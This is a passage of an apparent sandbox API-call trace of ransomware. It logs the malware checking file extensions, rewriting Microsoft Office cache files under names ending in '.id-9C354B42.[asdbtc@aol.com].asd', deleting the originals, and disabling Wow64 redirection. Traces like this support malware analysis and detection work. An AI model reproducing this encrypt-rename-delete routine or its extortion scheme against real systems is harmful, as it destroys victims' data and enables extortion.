(lpString1=".doc", lpString2=".cab") returned 1 [0061.688] lstrlenW (lpString=".docx") returned 5 [0061.688] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0061.688] lstrlenW (lpString=".pdf") returned 4 [0061.688] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0061.688] lstrlenW (lpString=".xls") returned 4 [0061.688] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0061.688] lstrlenW (lpString=".xlsx") returned 5 [0061.688] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0061.688] lstrlenW (lpString=".ppt") returned 4 [0061.688] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0061.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.688] lstrlenW (lpString=".zip") returned 4 [0061.688] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0061.688] lstrlenW (lpString=".rar") returned 4 [0061.688] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0061.689] lstrlenW (lpString=".bz2") returned 4 [0061.689] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0061.689] lstrlenW (lpString=".7z") returned 3 [0061.689] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0061.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.689] lstrlenW (lpString=".dbf") returned 4 [0061.689] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0061.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.689] lstrlenW (lpString=".1cd") returned 4 [0061.689] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0061.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.689] lstrlenW (lpString=".jpg") returned 4 [0061.689] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0061.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.689] lstrlenW (lpString=".doc") returned 4 [0061.689] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0061.689] lstrlenW (lpString=".docx") returned 5 [0061.689] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0061.689] lstrlenW (lpString=".pdf") returned 4 [0061.689] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0061.689] lstrlenW (lpString=".xls") returned 4 [0061.689] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0061.690] lstrlenW (lpString=".xlsx") returned 5 [0061.690] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0061.690] lstrlenW (lpString=".ppt") returned 4 [0061.690] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0061.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.690] lstrlenW (lpString=".zip") returned 4 [0061.690] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0061.690] lstrlenW (lpString=".rar") returned 4 [0061.690] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0061.690] lstrlenW (lpString=".bz2") returned 4 [0061.690] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0061.690] lstrlenW (lpString=".7z") returned 3 [0061.690] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0061.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.690] lstrlenW (lpString=".dbf") returned 4 [0061.690] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0061.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.691] lstrlenW (lpString=".1cd") returned 4 [0061.691] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0061.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.691] lstrlenW (lpString=".jpg") returned 4 [0061.691] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0061.691] lstrcmpiW (lpString1=".exe", lpString2=".asd") returned 1 [0061.691] lstrlenW (lpString="setup.exe") returned 9 [0061.691] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 14 os_tid = 0x984 [0040.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3880260 [0040.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3890268 [0040.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560398 [0040.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5630a0 [0040.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5603b0 [0040.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3a80020 [0040.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5603c8 [0040.249] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5603c8, Size=0x20) returned 0x58f8f8 [0040.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5603c8 [0040.249] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5603c8, Size=0x20) returned 0x58f920 [0040.249] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0040.249] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0040.249] Wow64DisableWow64FsRedirection (in: OldValue=0x2efff58 | out: OldValue=0x2efff58*=0x0) returned 1 [0040.249] lstrlenW (lpString="kernel32.dll") returned 12 [0040.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f8f8 | out: hHeap=0x510000) returned 1 [0040.249] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f920 | out: hHeap=0x510000) returned 1 [0040.249] Sleep (dwMilliseconds=0x64) [0040.498] Sleep (dwMilliseconds=0x64) [0041.555] Sleep (dwMilliseconds=0x64) [0041.829] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0041.829] lstrlenW (lpString="Setup.xml") returned 9 [0041.829] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.229] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=2296) returned 1 [0042.229] CloseHandle (hObject=0x198) returned 1 [0042.229] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0042.229] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.242] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.242] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.242] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.269] GetLastError () returned 0x0 [0042.269] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x8f8, lpOverlapped=0x0) returned 1 [0042.280] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x900, lpOverlapped=0x0) returned 1 [0042.282] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0042.282] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.282] SetEndOfFile (hFile=0x19c) returned 1 [0042.282] CloseHandle (hObject=0x19c) returned 1 [0042.283] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.283] SetEndOfFile (hFile=0x198) returned 1 [0042.285] CloseHandle (hObject=0x198) returned 1 [0042.285] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.285] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0042.285] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.285] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.285] lstrlenW (lpString=".doc") returned 4 [0042.285] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.285] lstrlenW (lpString=".docx") returned 5 [0042.285] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.285] lstrlenW (lpString=".pdf") returned 4 [0042.285] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.286] lstrlenW (lpString=".xls") returned 4 [0042.286] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.286] lstrlenW (lpString=".xlsx") returned 5 [0042.286] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.286] lstrlenW (lpString=".ppt") returned 4 [0042.286] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.286] lstrlenW (lpString=".zip") returned 4 [0042.286] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.286] lstrlenW (lpString=".rar") returned 4 [0042.286] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.286] lstrlenW (lpString=".bz2") returned 4 [0042.286] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.286] lstrlenW (lpString=".7z") returned 3 [0042.286] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.286] lstrlenW (lpString=".dbf") returned 4 [0042.286] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.286] lstrlenW (lpString=".1cd") returned 4 [0042.286] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.286] lstrlenW (lpString=".jpg") returned 4 [0042.286] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.287] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.287] lstrlenW (lpString=".doc") returned 4 [0042.287] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.287] lstrlenW (lpString=".docx") returned 5 [0042.287] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.287] lstrlenW (lpString=".pdf") returned 4 [0042.287] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.287] lstrlenW (lpString=".xls") returned 4 [0042.287] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.287] lstrlenW (lpString=".xlsx") returned 5 [0042.287] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.287] lstrlenW (lpString=".ppt") returned 4 [0042.287] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.287] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.287] lstrlenW (lpString=".zip") returned 4 [0042.287] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.287] lstrlenW (lpString=".rar") returned 4 [0042.287] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.287] lstrlenW (lpString=".bz2") returned 4 [0042.287] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.287] lstrlenW (lpString=".7z") returned 3 [0042.287] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.287] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.287] lstrlenW (lpString=".dbf") returned 4 [0042.287] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.287] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.287] lstrlenW (lpString=".1cd") returned 4 [0042.287] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.288] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.288] lstrlenW (lpString=".jpg") returned 4 [0042.288] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.288] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.288] lstrlenW (lpString="Setup.xml") returned 9 [0042.288] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.288] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1608) returned 1 [0042.288] CloseHandle (hObject=0x198) returned 1 [0042.288] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0042.288] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.289] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.289] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.289] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.289] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.289] GetLastError () returned 0x0 [0042.289] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x648, lpOverlapped=0x0) returned 1 [0042.291] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x650, lpOverlapped=0x0) returned 1 [0042.292] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0042.292] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.292] SetEndOfFile (hFile=0x19c) returned 1 [0042.293] CloseHandle (hObject=0x19c) returned 1 [0042.297] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.297] SetEndOfFile (hFile=0x198) returned 1 [0042.299] CloseHandle (hObject=0x198) returned 1 [0042.299] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.299] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0042.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.300] lstrlenW (lpString=".doc") returned 4 [0042.300] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.301] lstrlenW (lpString=".docx") returned 5 [0042.301] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.301] lstrlenW (lpString=".pdf") returned 4 [0042.301] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.301] lstrlenW (lpString=".xls") returned 4 [0042.301] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.301] lstrlenW (lpString=".xlsx") returned 5 [0042.301] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.301] lstrlenW (lpString=".ppt") returned 4 [0042.301] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.301] lstrlenW (lpString=".zip") returned 4 [0042.301] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.301] lstrlenW (lpString=".rar") returned 4 [0042.301] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.301] lstrlenW (lpString=".bz2") returned 4 [0042.301] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.301] lstrlenW (lpString=".7z") returned 3 [0042.301] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.301] lstrlenW (lpString=".dbf") returned 4 [0042.301] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.301] lstrlenW (lpString=".1cd") returned 4 [0042.301] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.301] lstrlenW (lpString=".jpg") returned 4 [0042.301] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.302] lstrlenW (lpString=".doc") returned 4 [0042.302] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.302] lstrlenW (lpString=".docx") returned 5 [0042.302] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.302] lstrlenW (lpString=".pdf") returned 4 [0042.302] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.302] lstrlenW (lpString=".xls") returned 4 [0042.302] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.302] lstrlenW (lpString=".xlsx") returned 5 [0042.302] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.302] lstrlenW (lpString=".ppt") returned 4 [0042.302] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.302] lstrlenW (lpString=".zip") returned 4 [0042.302] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.302] lstrlenW (lpString=".rar") returned 4 [0042.302] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.302] lstrlenW (lpString=".bz2") returned 4 [0042.302] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.302] lstrlenW (lpString=".7z") returned 3 [0042.302] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.302] lstrlenW (lpString=".dbf") returned 4 [0042.303] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.303] lstrlenW (lpString=".1cd") returned 4 [0042.303] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.303] lstrlenW (lpString=".jpg") returned 4 [0042.303] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.303] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.303] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0042.303] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.304] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=3186) returned 1 [0042.304] CloseHandle (hObject=0x198) returned 1 [0042.304] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0042.304] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.305] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.305] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.305] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 